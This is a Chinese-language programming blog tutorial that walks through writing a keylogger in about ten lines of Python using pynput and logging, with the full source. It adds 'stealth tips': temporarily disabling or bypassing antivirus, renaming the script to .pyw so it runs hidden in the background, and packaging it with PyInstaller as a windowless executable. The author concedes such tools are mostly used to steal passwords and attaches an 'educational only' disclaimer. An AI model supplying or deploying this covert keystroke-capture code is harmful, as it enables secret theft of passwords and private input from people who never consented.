仅用 10 行 Python 编写的键盘记录器
黑客工具箱中的基本工具之一是键盘记录器,我们将了解如何用 Python 实现一个基本的键盘记录器,代码不到 10 行,并得到充分解释。
🔹 什么是键盘记录?
击键记录是记录(记录)在键盘上按下的键的过程(通常在用户不知道的情况下)。它也称为键盘记录或键盘捕获。

🔹 用例
这些程序用于解决计算机和商业网络的技术问题。它也可用于监控网络使用情况,但通常用于窃取密码等恶意目的。

黑客(或脚本小子)将其用于不道德的目的,但本文仅用于教育目的。
🔹 怎么样?
要构建键盘记录器,我们需要一种方法来跟踪键盘上按下的每个键,python 中有几个库可以做到这一点:
📌keyboard。
📌PyUserInput。
📌pynput。
PyUserInput有点过时了,可能对你帮助不大。我会推荐keyboard或pynput。
🔹 代码
在本文中,我们将重点关注pynput,因为它是有效的,但稍后也会将资源留给其他可用的方法。
我们将使用两个主要的库;
⭐pynput:
该库允许您控制和监视输入设备。它包含支持的每种输入设备类型的子包
⭐logging:
该模块定义了为应用程序和库实现灵活的事件记录系统的函数和类,我们将在带有时间戳的文本文件中记录我们的消息。
继续pip install pynput。日志记录随标准库一起提供。
from pynput.keyboard import Key, Listener
import logging
现在让我们初始化我们的日志配置
logging.basicConfig(filename=("keylogger.txt"),
level=logging.DEBUG,
format=" %(asctime)s - %(message)s")
在上面的代码中,我们将记录击键的文件名指定为keylogger.txt,然后指定存储击键的格式,在本例中为;YY-MM-DD HH-MM-SS(ms) - KEY
DEBUG级别是调试日志类别的一组日志级别。
现在让我们定义一个函数来帮助我们记录日志
def on_press(key):
logging.info(str(key))
上面的函数基本上是接受一个参数表示用户按下的key,并在将其转换为字符串后将其记录到文件中。
每次按下键盘时,让我们最后听一听。
with Listener(on_press=on_press) as listener :
listener.join()
我们创建了一个Listener类的实例,该类将记录击键并将我们创建的on_press函数作为参数传递。然后我们使用.join()方法将它加入到主线程中。
因此,每次按下键时,都会触发listener并调用我们的函数,然后将我们的击键记录到文件中。
所以如果你运行上面的代码,例如,我叫我的logger.py。
运行💨py logger.py
我们的完整代码;
from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(filename=("keylogger.txt"),
level=logging.DEBUG,
format=" %(asctime)s - %(message)s")
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener :
listener.join()
运行时它会自动创建一个keylogger.txt文件,如果你开始输入,你会得到输出:

如果您有防病毒软件,您可能希望暂时禁用,但最简单的方法是只允许我们要运行的特定文件。

您需要从上面的屏幕截图中选择allow advice和start actions。
🔹 隐身技巧
在 Windows 上,您只需将文件扩展名从.py重命名为.pyw,然后双击该文件即可运行它,而不会弹出终端。然后程序在后台运行,记录以后的每一次按键。

您还可以使用pyinstaller使其成为可执行文件而不是 py 文件
pip install pyinstaller
现在打开你的终端和cd进入根文件夹并输入;
python -m PyInstaller --onefile -w logger.py
这将使用您可以安装的exe文件创建一个dist文件夹。
您可以在后台运行的另一个技巧;只需cd进入项目目录并运行
免责声明:
同样,本文仅用于教育目的,我对任何损害和后果概不负责!所以使用它需要您自担风险!
而已!完整代码是这里🚀🚀
🔹 笔记和资源
📌 调试日志级别 - IBM文章
📌 Python 官方日志记录工具
📌 Python 日志记录级别
📌 Ask-Python eylogger文章
🔹 结论
再一次,希望你今天从我的小衣橱里学到了一些东西。
请考虑订阅或关注我的相关内容,尤其是关于技术、Python 和通用编程的内容。
你可以通过给我买杯咖啡来支持这个免费内容来表达额外的爱,我也对合作伙伴、技术写作角色、协作和 Python 相关的培训或角色持开放态度。
📢 你也可以在Twitter上关注我:♥ ♥ 等着你! 🙂
更多推荐

所有评论(0)